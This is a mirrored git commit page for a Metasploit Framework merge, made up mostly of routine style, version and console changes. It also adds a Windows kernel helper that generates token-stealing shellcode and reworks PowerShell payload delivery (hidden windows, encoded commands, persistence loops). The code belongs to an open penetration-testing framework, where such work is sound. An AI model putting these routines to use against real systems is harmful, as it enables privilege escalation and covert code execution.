1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-09-11 17:08:02 +02:00

Merge branch 'master' into aruba-testing

Conflicts:
	.rubocop.yml
	Gemfile
	Gemfile.lock
	Rakefile
	lib/metasploit/framework/command/console.rb
	lib/metasploit/framework/common_engine.rb
	lib/metasploit/framework/parsed_options/console.rb
	lib/metasploit/framework/require.rb
	lib/metasploit/framework/version.rb
	lib/msf/core/modules/namespace.rb
	modules/auxiliary/analyze/jtr_postgres_fast.rb
	spec/lib/msf/core/framework_spec.rb
This commit is contained in:
darkbushido 2014-08-19 09:05:29 -05:00
commit a09037ffa3
No known key found for this signature in database
GPG Key ID: 3922EB70FB80E8DD
213 changed files with 7691 additions and 2383 deletions

56
.rubocop.yml Normal file
View File

@ -0,0 +1,56 @@
# This list was intially created by analyzing the last three months (51
# modules) committed to Metasploit Framework. Many, many older modules
# will have offenses, but this should at least provide a baseline for
# new modules.
#
# Updates to this file should include a 'Description' parameter for any
# explaination needed.
# inherit_from: .rubocop_todo.yml
Style/ClassLength:
Description: 'Most Metasploit modules are quite large. This is ok.'
Enabled: true
Exclude:
- 'modules/**/*'
Style/Documentation:
Enabled: true
Description: 'Most Metasploit modules do not have class documentation.'
Exclude:
- 'modules/**/*'
Style/Encoding:
Enabled: true
Description: 'We prefer binary to UTF-8.'
EnforcedStyle: 'when_needed'
Style/LineLength:
Description: >-
Metasploit modules often pattern match against very
long strings when identifying targets.
Enabled: true
Max: 180
Style/MethodLength:
Enabled: true
Description: >-
While the style guide suggests 10 lines, exploit definitions
often exceed 200 lines.
Max: 300
Style/NumericLiterals:
Enabled: false
Description: 'This often hurts readability for exploit-ish code.'
Style/SpaceInsideBrackets:
Enabled: false
Description: 'Until module template are final, most modules will fail this.'
Style/StringLiterals:
Enabled: false
Description: 'Single vs double quote fights are largely unproductive.'
Style/WordArray:
Enabled: false
Description: 'Metasploit prefers consistent use of []'

View File

@ -33,7 +33,7 @@ and Metasploit's [Common Coding Mistakes](https://github.com/rapid7/metasploit-f
## Code Contributions
* **Do** stick to the [Ruby style guide](https://github.com/bbatsov/ruby-style-guide).
* Similarly, **try** to get Rubocop passing or at least relatively quiet against the files added/modified as part of your contribution
* *Do* get [Rubocop](https://rubygems.org/search?query=rubocop) relatively quiet against the code you are adding or modifying.
* **Do** follow the [50/72 rule](http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html) for Git commit messages.
* **Do** create a [topic branch](http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches) to work on instead of working directly on `master`.

View File

@ -43,7 +43,6 @@ group :development, :test do
gem 'cucumber'
gem 'aruba'
end
group :pcap do

View File

@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (4.10.0.pre.dev)
metasploit-framework (4.10.1.pre.dev)
actionpack (< 4.0.0)
activesupport (>= 3.0.0, < 4.0.0)
bcrypt

View File

@ -10,7 +10,6 @@ Metasploit::Framework::Require.optionally_active_record_railtie
Metasploit::Framework::Application.load_tasks
begin
require 'cucumber'
require 'cucumber/rake/task'

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -7,7 +7,7 @@ CLASSES = Exploit.java
all: $(CLASSES:.java=.class)
install:
mv *.class ../../../../data/exploits/CVE-2013-3465/
mv *.class ../../../../data/exploits/CVE-2013-2465/
clean:
rm -rf *.class

View File

@ -8,8 +8,13 @@ require 'metasploit/framework/command/base'
# Based on pattern used for lib/rails/commands in the railties gem.
class Metasploit::Framework::Command::Console < Metasploit::Framework::Command::Base
def start
case parsed_options.options.subcommand
when :version
$stderr.puts "Framework Version: #{Metasploit::Framework::VERSION}"
else
driver.run
end
end
private
@ -37,6 +42,7 @@ class Metasploit::Framework::Command::Console < Metasploit::Framework::Command::
driver_options = {}
driver_options['Config'] = options.framework.config
driver_options['ConfirmExit'] = options.console.confirm_exit
driver_options['DatabaseEnv'] = options.environment
driver_options['DatabaseMigrationPaths'] = options.database.migrations_paths
driver_options['DatabaseYAML'] = options.database.config

View File

@ -27,6 +27,8 @@ module Metasploit::Framework::CommonEngine
config.paths.add 'data/meterpreter', glob: '**/ext_*'
config.paths.add 'modules'
config.active_support.deprecation = :notify
#
# `initializer`s
#

View File

@ -9,12 +9,14 @@ class Metasploit::Framework::ParsedOptions::Console < Metasploit::Framework::Par
options.console = ActiveSupport::OrderedOptions.new
options.console.commands = []
options.console.confirm_exit = false
options.console.defanged = false
options.console.local_output = nil
options.console.plugins = []
options.console.quiet = false
options.console.real_readline = false
options.console.resources = []
options.console.subcommand = :run
}
end
@ -34,6 +36,10 @@ class Metasploit::Framework::ParsedOptions::Console < Metasploit::Framework::Par
option_parser.separator ''
option_parser.separator 'Console options:'
option_parser.on('-a', '--ask', "Ask before exiting Metasploit or accept 'exit -y'") do
options.console.confirm_exit = true
end
option_parser.on('-d', '--defanged', 'Execute the console as defanged') do
options.console.defanged = true
end

View File

@ -49,10 +49,14 @@ module Metasploit
#
# @return [void]
def self.optionally_active_record_railtie
if ::File.exist?(Rails.application.config.paths['config/database'].first)
optionally(
'active_record/railtie',
'activerecord not in the bundle, so database support will be disabled.'
)
else
warn 'Could not find database.yml, so database support will be disabled.'
end
end
# Tries to `require 'metasploit/credential/creation'` and include it in the `including_module`.

View File

@ -3,7 +3,7 @@ module Metasploit
module Version
MAJOR = 4
MINOR = 10
PATCH = 0
PATCH = 1
PRERELEASE = 'dev'
end

View File

@ -0,0 +1,33 @@
# -*- coding: binary -*-
require 'msf/base/sessions/meterpreter'
require 'msf/base/sessions/meterpreter_java'
require 'msf/base/sessions/meterpreter_options'
module Msf
module Sessions
###
#
# This class creates a platform-specific meterpreter session type
#
###
class Meterpreter_Java_Android < Msf::Sessions::Meterpreter_Java_Java
def initialize(rstream, opts={})
super
self.platform = 'java/android'
end
def load_android
original = console.disable_output
console.disable_output = true
console.run_single('load android')
console.disable_output = original
end
end
end
end

View File

@ -59,6 +59,12 @@ module MeterpreterOptions
end
end
if session.platform =~ /android/i
if datastore['AutoLoadAndroid']
session.load_android
end
end
[ 'InitialAutoRunScript', 'AutoRunScript' ].each do |key|
if (datastore[key].empty? == false)
args = Shellwords.shellwords( datastore[key] )

View File

@ -1,3 +1,4 @@
# -*- coding: binary -*-
module Msf
module Simple
module Framework

View File

@ -230,7 +230,7 @@ module Auxiliary::Report
end
case ctype
when "text/plain"
when /^text\/[\w\.]+$/
ext = "txt"
end
# This method is available even if there is no database, don't bother checking

View File

@ -1,3 +1,4 @@
# -*- coding: binary -*-
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit

View File

@ -1,3 +1,4 @@
# -*- coding: binary -*-
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit

View File

@ -1,3 +1,4 @@
# -*- coding: binary -*-
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit

View File

@ -1,3 +1,4 @@
# -*- coding: binary -*-
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.

View File

@ -1,3 +1,4 @@
# -*- coding: binary -*-
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.

View File

@ -1,3 +1,4 @@
# -*- coding: binary -*-
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit

View File

@ -1,3 +1,4 @@
# -*- coding: binary -*-
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.

View File

@ -1,3 +1,4 @@
# -*- coding: binary -*-
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.

View File

@ -1,3 +1,4 @@
# -*- coding: binary -*-
module Msf
class DBManager
# Handles importing of the xml format exported by Pro. The methods are in a

View File

@ -1,3 +1,4 @@
# -*- coding: binary -*-
module Msf
class DBManager
module Migration

View File

@ -1,3 +1,4 @@
# -*- coding: binary -*-
module Msf
module Exe

View File

@ -155,7 +155,7 @@ module Exploit::CmdStager
# Returns a hash with the :decoder option if possible
#
# @params opts [Hash] Input Hash.
# @param opts [Hash] Input Hash.
# @return [Hash] Hash with the input data and a :decoder option when
# possible.
def opts_with_decoder(opts = {})
@ -280,7 +280,7 @@ module Exploit::CmdStager
# Answers if the input flavor is compatible with the current target or module.
#
# @param f [Symbol] The flavor to check
# @returns [Boolean] true if compatible, false otherwise.
# @return [Boolean] true if compatible, false otherwise.
def compatible_flavor?(f)
return true if target_flavor.nil?
case target_flavor.class.to_s

View File

@ -1,3 +1,4 @@
# -*- coding: binary -*-
module Msf
module Exploit::Local::CompileC

View File

@ -1,3 +1,4 @@
# -*- coding: binary -*-
require 'msf/core/exploit/local/compile_c'
module Msf

View File

@ -1,3 +1,4 @@
# -*- coding: binary -*-
require 'msf/core/exploit/local/compile_c'
module Msf

View File

@ -0,0 +1,164 @@
# -*- coding: binary -*-
module Msf
module Exploit::Local::WindowsKernel
include Msf::PostMixin
include Msf::Post::Windows::Error
#
# Find the address of nt!HalDispatchTable.
#
# @return [Integer] The address of nt!HalDispatchTable.
# @return [nil] If the address could not be found.
#
def find_haldispatchtable
kernel_address, kernel_name = find_sys_base(nil)
if kernel_address.nil? || kernel_name.nil?
print_error("Failed to find the address of the Windows kernel")
return nil
end
vprint_status("Kernel Base Address: 0x#{kernel_address.to_s(16)}")
h_kernel = session.railgun.kernel32.LoadLibraryExA(kernel_name, 0, 1)
if h_kernel['return'] == 0
print_error("Failed to load #{kernel_name} (error: #{h_kernel['GetLastError']} #{h_kernel['ErrorMessage']})")
return nil
end
h_kernel = h_kernel['return']
hal_dispatch_table = session.railgun.kernel32.GetProcAddress(h_kernel, 'HalDispatchTable')
if hal_dispatch_table['return'] == 0
print_error("Failed to retrieve the address of nt!HalDispatchTable (error: #{hal_dispatch_table['GetLastError']} #{hal_dispatch_table['ErrorMessage']})")
return nil
end
hal_dispatch_table = hal_dispatch_table['return']
hal_dispatch_table -= h_kernel
hal_dispatch_table += kernel_address
vprint_status("HalDispatchTable Address: 0x#{hal_dispatch_table.to_s(16)}")
hal_dispatch_table
end
#
# Find the load address for a device driver on the session.
#
# @param drvname [String, nil] The name of the module to find, otherwise the kernel
# if this value is nil.
# @return [Array] An array containing the base address and the located drivers name.
# @return [nil] If the name specified could not be found.
#
def find_sys_base(drvname)
if session.railgun.util.pointer_size == 8
ptr = 'Q<'
else
ptr = 'V'
end
results = session.railgun.psapi.EnumDeviceDrivers(0, 0, session.railgun.util.pointer_size)
unless results['return']
print_error("EnumDeviceDrivers failed (error: #{results['GetLastError']} #{results['ErrorMessage']})")
return nil
end
results = session.railgun.psapi.EnumDeviceDrivers(results['lpcbNeeded'], results['lpcbNeeded'], session.railgun.util.pointer_size)
unless results['return']
print_error("EnumDeviceDrivers failed (error: #{results['GetLastError']} #{results['ErrorMessage']})")
return nil
end
addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("#{ptr}*")
addresses.each do |address|
results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
if results['return'] == 0
print_error("GetDeviceDriverBaseNameA failed (error: #{results['GetLastError']} #{results['ErrorMessage']})")
return nil
end
current_drvname = results['lpBaseName'][0,results['return']]
if drvname.nil?
if current_drvname.downcase.include?('krnl')
return address, current_drvname
end
elsif drvname == current_drvname
return address, current_drvname
end
end
end
#
# Open a device on a meterpreter session with a call to CreateFileA and return
# the handle. Both optional parameters lpSecurityAttributes and hTemplateFile
# are specified as nil.
#
# @param file_name [String] Passed to CreateFileA as the lpFileName parameter.
# @param desired_access [String, Integer] Passed to CreateFileA as the dwDesiredAccess parameter.
# @param share_mode [String, Integer] Passed to CreateFileA as the dwShareMode parameter.
# @param creation_disposition [String, Integer] Passed to CreateFileA as the dwCreationDisposition parameter.
# @param flags_and_attributes [String, Integer] Passed to CreateFileA as the dwFlagsAndAttributes parameter.
# @return [Integer] The device handle.
# @return [nil] If the call to CreateFileA failed.
#
def open_device(file_name, desired_access, share_mode, creation_disposition, flags_and_attributes = 0)
handle = session.railgun.kernel32.CreateFileA(file_name, desired_access, share_mode, nil, creation_disposition, flags_and_attributes, nil)
if handle['return'] == INVALID_HANDLE_VALUE
print_error("Failed to open the #{file_name} device (error: #{handle['GetLastError']} #{handle['ErrorMessage']})")
return nil
end
handle['return']
end
#
# Generate token stealing shellcode suitable for use when overwriting the
# HaliQuerySystemInformation pointer. The shellcode preserves the edx and ebx
# registers.
#
# @param target [Hash] The target information containing the offsets to _KPROCESS,
# _TOKEN, _UPID and _APLINKS.
# @param backup_token [Integer] An optional location to write a copy of the
# original token to so it can be restored later.
# @param arch [String] The architecture to return shellcode for. If this is nil,
# the arch will be guessed from the target and then module information.
# @return [String] The token stealing shellcode.
# @raise [ArgumentError] If the arch is incompatible.
#
def token_stealing_shellcode(target, backup_token = nil, arch = nil)
arch = target.opts['Arch'] if arch.nil? && target && target.opts['Arch']
if arch.nil? && module_info['Arch']
arch = module_info['Arch']
arch = arch[0] if arch.class.to_s == 'Array' and arch.length == 1
end
if arch.nil?
print_error('Can not determine the target architecture')
fail ArgumentError, 'Invalid arch'
end
tokenstealing = ''
case arch
when ARCH_X86
tokenstealing << "\x52" # push edx # Save edx on the stack
tokenstealing << "\x53" # push ebx # Save ebx on the stack
tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
tokenstealing << "\x8b\x40" + target['_KPROCESS'] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS
tokenstealing << "\x8b\xc8" # mov ecx, eax
tokenstealing << "\x8b\x98" + target['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN
unless backup_token.nil?
tokenstealing << "\x89\x1d" + [backup_token].pack('V') # mov dword ptr ds:backup_token, ebx # Optionaly write a copy of the token to the address provided
end
tokenstealing << "\x8b\x80" + target['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks
tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
tokenstealing << "\x81\xb8" + target['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
tokenstealing << "\x75\xe8" # jne 0000101e ======================
tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX
tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX
tokenstealing << "\x89\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS
tokenstealing << "\x5b" # pop ebx # Restores ebx
tokenstealing << "\x5a" # pop edx # Restores edx
tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel!
else
# if this is reached the issue most likely exists in the exploit module
print_error('Unsupported arch for token stealing shellcode')
fail ArgumentError, 'Invalid arch'
end
tokenstealing
end
end
end

View File

@ -1,3 +1,4 @@
# -*- coding: binary -*-
require 'msf/core'
module Msf

View File

@ -1,178 +1,380 @@
# -*- coding: binary -*-
require 'zlib'
require 'rex/exploitation/powershell'
module Msf
module Exploit::Powershell
PowershellScript = Rex::Exploitation::Powershell::Script
def initialize(info = {})
super
register_options(
register_advanced_options(
[
OptBool.new('PERSIST', [true, 'Run the payload in a loop', false]),
OptBool.new('PSH_OLD_METHOD', [true, 'Use powershell 1.0', false]),
OptBool.new('RUN_WOW64', [
true,
'Execute powershell in 32bit compatibility mode, payloads need native arch',
false
]),
OptBool.new('Powershell::persist', [true, 'Run the payload in a loop', false]),
OptInt.new('Powershell::prepend_sleep', [false, 'Prepend seconds of sleep']),
OptBool.new('Powershell::strip_comments', [true, 'Strip comments', true]),
OptBool.new('Powershell::strip_whitespace', [true, 'Strip whitespace', false]),
OptBool.new('Powershell::sub_vars', [true, 'Substitute variable names', false]),
OptBool.new('Powershell::sub_funcs', [true, 'Substitute function names', false]),
OptEnum.new('Powershell::method', [true, 'Payload delivery method', 'reflection', %w(net reflection old msil)]),
], self.class)
end
#
# Insert substitutions into the powershell script
# Return an encoded powershell script
# Will invoke PSH modifiers as enabled
#
def make_subs(script, subs)
if ::File.file?(script)
script = ::File.read(script)
# @param script_in [String] Script contents
#
# @return [String] Encoded script
def encode_script(script_in)
# Build script object
psh = PowershellScript.new(script_in)
# Invoke enabled modifiers
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k|
mod_method = k.split('::').last.intern
psh.send(mod_method)
end
subs.each do |set|
script.gsub!(set[0],set[1])
end
if datastore['VERBOSE']
print_good("Final Script: ")
script.each_line {|l| print_status("\t#{l}")}
end
return script
psh.encode_code
end
#
# Return an array of substitutions for use in make_subs
# Return a gzip compressed powershell script
# Will invoke PSH modifiers as enabled
#
def process_subs(subs)
return [] if subs.nil? or subs.empty?
new_subs = []
subs.split(';').each do |set|
new_subs << set.split(',', 2)
end
return new_subs
end
#
# Read in a powershell script stored in +script+
#
def read_script(script)
script_in = ''
begin
# Open script file for reading
fd = ::File.new(script, 'r')
while (line = fd.gets)
script_in << line
end
# Close open file
fd.close()
rescue Errno::ENAMETOOLONG, Errno::ENOENT
# Treat script as a... script
script_in = script
end
return script_in
end
#
# Return a zlib compressed powershell script
# @param script_in [String] Script contents
# @param eof [String] Marker to indicate the end of file appended to script
#
# @return [String] Compressed script with decompression stub
def compress_script(script_in, eof = nil)
# Build script object
psh = PowershellScript.new(script_in)
# Invoke enabled modifiers
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k|
mod_method = k.split('::').last.intern
psh.send(mod_method)
end
# Compress using the Deflate algorithm
compressed_stream = ::Zlib::Deflate.deflate(script_in,
::Zlib::BEST_COMPRESSION)
# Base64 encode the compressed file contents
encoded_stream = Rex::Text.encode_base64(compressed_stream)
# Build the powershell expression
# Decode base64 encoded command and create a stream object
psh_expression = "$stream = New-Object IO.MemoryStream(,"
psh_expression << "$([Convert]::FromBase64String('#{encoded_stream}')));"
# Read & delete the first two bytes due to incompatibility with MS
psh_expression << "$stream.ReadByte()|Out-Null;"
psh_expression << "$stream.ReadByte()|Out-Null;"
# Uncompress and invoke the expression (execute)
psh_expression << "$(Invoke-Expression $(New-Object IO.StreamReader("
psh_expression << "$(New-Object IO.Compression.DeflateStream("
psh_expression << "$stream,"
psh_expression << "[IO.Compression.CompressionMode]::Decompress)),"
psh_expression << "[Text.Encoding]::ASCII)).ReadToEnd());"
# If eof is set, add a marker to signify end of script output
if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
# Convert expression to unicode
unicode_expression = Rex::Text.to_unicode(psh_expression)
# Base64 encode the unicode expression
encoded_expression = Rex::Text.encode_base64(unicode_expression)
return encoded_expression
psh.compress_code(eof)
end
#
# Runs powershell in hidden window raising interactive proc msg
# Generate a powershell command line, options are passed on to
# generate_psh_args
#
def run_hidden_psh(ps_code,ps_bin='powershell.exe')
ps_args = " -EncodedCommand #{ compress_script(ps_code) } "
# @param opts [Hash] The options to generate the command line
# @option opts [String] :path Path to the powershell binary
# @option opts [Boolean] :no_full_stop Whether powershell binary
# should include .exe
#
# @return [String] Powershell command line with arguments
def generate_psh_command_line(opts)
if opts[:path] and (opts[:path][-1, 1] != '\\')
opts[:path] << '\\'
end
ps_wrapper = <<EOS
$si = New-Object System.Diagnostics.ProcessStartInfo
$si.FileName = #{ps_bin}
$si.Arguments = '#{ps_args}'
$si.UseShellExecute = $false
$si.RedirectStandardOutput = $true
$si.WindowStyle = 'Hidden'
$si.CreateNoWindow = $True
$p = [System.Diagnostics.Process]::Start($si)
if opts[:no_full_stop]
binary = 'powershell'
else
binary = 'powershell.exe'
end
args = generate_psh_args(opts)
"#{opts[:path]}#{binary} #{args}"
end
#
# Generate arguments for the powershell command
# The format will be have no space at the start and have a space
# afterwards e.g. "-Arg1 x -Arg -Arg x "
#
# @param opts [Hash] The options to generate the command line
# @option opts [Boolean] :shorten Whether to shorten the powershell
# arguments (v2.0 or greater)
# @option opts [String] :encodedcommand Powershell script as an
# encoded command (-EncodedCommand)
# @option opts [String] :executionpolicy The execution policy
# (-ExecutionPolicy)
# @option opts [String] :inputformat The input format (-InputFormat)
# @option opts [String] :file The path to a powershell file (-File)
# @option opts [Boolean] :noexit Whether to exit powershell after
# execution (-NoExit)
# @option opts [Boolean] :nologo Whether to display the logo (-NoLogo)
# @option opts [Boolean] :noninteractive Whether to load a non
# interactive powershell (-NonInteractive)
# @option opts [Boolean] :mta Whether to run as Multi-Threaded
# Apartment (-Mta)
# @option opts [String] :outputformat The output format
# (-OutputFormat)
# @option opts [Boolean] :sta Whether to run as Single-Threaded
# Apartment (-Sta)
# @option opts [Boolean] :noprofile Whether to use the current users
# powershell profile (-NoProfile)
# @option opts [String] :windowstyle The window style to use
# (-WindowStyle)
#
# @return [String] Powershell command arguments
def generate_psh_args(opts)
return '' unless opts
unless opts.key? :shorten
opts[:shorten] = (datastore['Powershell::method'] != 'old')
end
arg_string = ' '
opts.each_pair do |arg, value|
case arg
when :encodedcommand
arg_string << "-EncodedCommand #{value} " if value
when :executionpolicy
arg_string << "-ExecutionPolicy #{value} " if value
when :inputformat
arg_string << "-InputFormat #{value} " if value
when :file
arg_string << "-File #{value} " if value
when :noexit
arg_string << '-NoExit ' if value
when :nologo
arg_string << '-NoLogo ' if value
when :noninteractive
arg_string << '-NonInteractive ' if value
when :mta
arg_string << '-Mta ' if value
when :outputformat
arg_string << "-OutputFormat #{value} " if value
when :sta
arg_string << '-Sta ' if value
when :noprofile
arg_string << '-NoProfile ' if value
when :windowstyle
arg_string << "-WindowStyle #{value} " if value
end
end
# Command must be last (unless from stdin - etc)
if opts[:command]
arg_string << "-Command #{opts[:command]}"
end
# Shorten arg if PSH 2.0+
if opts[:shorten]
# Invoke-Command and Out-File require these options to have
# an additional space before to prevent Powershell code being
# mangled.
arg_string.gsub!(' -Command ', ' -c ')
arg_string.gsub!('-EncodedCommand ', '-e ')
arg_string.gsub!('-ExecutionPolicy ', '-ep ')
arg_string.gsub!(' -File ', ' -f ')
arg_string.gsub!('-InputFormat ', '-i ')
arg_string.gsub!('-NoExit ', '-noe ')
arg_string.gsub!('-NoLogo ', '-nol ')
arg_string.gsub!('-NoProfile ', '-nop ')
arg_string.gsub!('-NonInteractive ', '-noni ')
arg_string.gsub!('-OutputFormat ', '-o ')
arg_string.gsub!('-Sta ', '-s ')
arg_string.gsub!('-WindowStyle ', '-w ')
end
# Strip off first space character
arg_string = arg_string[1..-1]
# Remove final space character
arg_string = arg_string[0..-2] if (arg_string[-1] == ' ')
arg_string
end
#
# Wraps the powershell code to launch a hidden window and
# detect the execution environment and spawn the appropriate
# powershell executable for the payload architecture.
#
# @param ps_code [String] Powershell code
# @param payload_arch [String] The payload architecture 'x86'/'x86_64'
# @param encoded [Boolean] Indicates whether ps_code is encoded or not
#
# @return [String] Wrapped powershell code
def run_hidden_psh(ps_code, payload_arch, encoded)
arg_opts = {
noprofile: true,
windowstyle: 'hidden',
}
if encoded
arg_opts[:encodedcommand] = ps_code
else
arg_opts[:command] = ps_code.gsub("'", "''")
end
# Old technique fails if powershell exits..
arg_opts[:noexit] = true if datastore['Powershell::method'] == 'old'
ps_args = generate_psh_args(arg_opts)
process_start_info = <<EOS
$s=New-Object System.Diagnostics.ProcessStartInfo
$s.FileName=$b
$s.Arguments='#{ps_args}'
$s.UseShellExecute=$false
$p=[System.Diagnostics.Process]::Start($s)
EOS
process_start_info.gsub!("\n", ';')
archictecure_detection = <<EOS
if([IntPtr]::Size -eq 4){
#{payload_arch == 'x86' ? "$b='powershell.exe'" : "$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'"}
}else{
#{payload_arch == 'x86' ? "$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'" : "$b='powershell.exe'"}
};
EOS
return ps_wrapper
archictecure_detection.gsub!("\n", '')
archictecure_detection + process_start_info
end
#
# Creates cmd script to execute psh payload
# Creates a powershell command line string which will execute the
# payload in a hidden window in the appropriate execution environment
# for the payload architecture. Opts are passed through to
# run_hidden_psh, generate_psh_command_line and generate_psh_args
#
def cmd_psh_payload(pay, old_psh=datastore['PSH_OLD_METHOD'], wow64=datastore['RUN_WOW64'])
# Allow powershell 1.0 format
if old_psh
psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay)
else
psh_payload = Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
# @param pay [String] The payload shellcode
# @param payload_arch [String] The payload architecture 'x86'/'x86_64'
# @param opts [Hash] The options to generate the command
# @option opts [Boolean] :persist Loop the payload to cause
# re-execution if the shellcode finishes
# @option opts [Integer] :prepend_sleep Sleep for the specified time
# before executing the payload
# @option opts [String] :method The powershell injection technique to
# use: 'net'/'reflection'/'old'
# @option opts [Boolean] :encode_inner_payload Encodes the powershell
# script within the hidden/architecture detection wrapper
# @option opts [Boolean] :encode_final_payload Encodes the final
# powershell script
# @option opts [Boolean] :remove_comspec Removes the %COMSPEC%
# environment variable at the start of the command line
# @option opts [Boolean] :use_single_quotes Wraps the -Command
# argument in single quotes unless :encode_final_payload
#
# @return [String] Powershell command line with payload
def cmd_psh_payload(pay, payload_arch, opts = {})
opts[:persist] ||= datastore['Powershell::persist']
opts[:prepend_sleep] ||= datastore['Powershell::prepend_sleep']
opts[:method] ||= datastore['Powershell::method']
if opts[:encode_inner_payload] && opts[:encode_final_payload]
fail RuntimeError, ':encode_inner_payload and :encode_final_payload are incompatible options'
end
if opts[:no_equals] && !opts[:encode_final_payload]
fail RuntimeError, ':no_equals requires :encode_final_payload option to be used'
end
psh_payload = case opts[:method]
when 'net'
Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
when 'reflection'
Msf::Util::EXE.to_win32pe_psh_reflection(framework, pay)
when 'old'
Msf::Util::EXE.to_win32pe_psh(framework, pay)
when 'msil'
fail RuntimeError, 'MSIL Powershell method no longer exists'
else
fail RuntimeError, 'No Powershell method specified'
end
# Run our payload in a while loop
if datastore['PERSIST']
if opts[:persist]
fun_name = Rex::Text.rand_text_alpha(rand(2) + 2)
sleep_time = rand(5) + 5
vprint_status("Sleep time set to #{sleep_time} seconds")
psh_payload = "function #{fun_name}{#{psh_payload}};"
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
end
# Determine appropriate architecture
ps_bin = wow64 ? '$env:windir+\'\syswow64\WindowsPowerShell\v1.0\powershell.exe\'' : '\'powershell.exe\''
# Wrap in hidden runtime
psh_payload = run_hidden_psh(psh_payload,ps_bin)
# Convert to base64 for -encodedcommand execution
command = "%COMSPEC% /B /C start powershell.exe -Command #{psh_payload.gsub("\n",';').gsub('"','\"')}\r\n"
end
#
# Convert binary to byte array, read from file if able
#
def build_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
code = code.unpack('C*')
psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
lines = []
1.upto(code.length-1) do |byte|
if(byte % 10 == 0)
lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
if opts[:prepend_sleep]
if opts[:prepend_sleep].to_i > 0
psh_payload = "Start-Sleep -s #{opts[:prepend_sleep]};" << psh_payload
else
lines.push ",0x#{code[byte].to_s(16)}"
end
end
psh << lines.join("") + "\r\n"
end
vprint_error('Sleep time must be greater than 0 seconds')
end
end
compressed_payload = compress_script(psh_payload)
encoded_payload = encode_script(psh_payload)
# This branch is probably never taken...
if encoded_payload.length <= compressed_payload.length
smallest_payload = encoded_payload
encoded = true
else
if opts[:encode_inner_payload]
encoded = true
compressed_encoded_payload = encode_script(compressed_payload)
if encoded_payload.length <= compressed_encoded_payload.length
smallest_payload = encoded_payload
else
smallest_payload = compressed_encoded_payload
end
else
smallest_payload = compressed_payload
encoded = false
end
end
# Wrap in hidden runtime / architecture detection
final_payload = run_hidden_psh(smallest_payload, payload_arch, encoded)
command_args = {
noprofile: true,
windowstyle: 'hidden'
}.merge(opts)
if opts[:encode_final_payload]
command_args[:encodedcommand] = encode_script(final_payload)
# If '=' is a bad character pad the payload until Base64 encoded
# payload contains none.
if opts[:no_equals]
while command_args[:encodedcommand].include? '='
final_payload << ' '
command_args[:encodedcommand] = encode_script(final_payload)
end
end
else
if opts[:use_single_quotes]
# Escape Single Quotes
final_payload.gsub!("'", "''")
# Wrap command in quotes
final_payload = "'#{final_payload}'"
end
command_args[:command] = final_payload
end
psh_command = generate_psh_command_line(command_args)
if opts[:remove_comspec]
command = psh_command
else
command = "%COMSPEC% /b /c start /b /min #{psh_command}"
end
vprint_status("Powershell command length: #{command.length}")
if command.length > 8191
fail RuntimeError, 'Powershell command length is greater than the command line maximum (8192 characters)'
end
command
end
#
# Useful method cache
#
module PshMethods
include Rex::Exploitation::Powershell::PshMethods
end
end
end

View File

@ -31,27 +31,6 @@ module ReverseHttp
"tunnel"
end
#
# Use the +refname+ to determine whether this handler uses SSL or not
#
def ssl?
!!(self.refname.index("https"))
end
#
# Return a URI of the form scheme://host:port/
#
# Scheme is one of http or https and host is properly wrapped in [] for ipv6
# addresses.
#
def full_uri
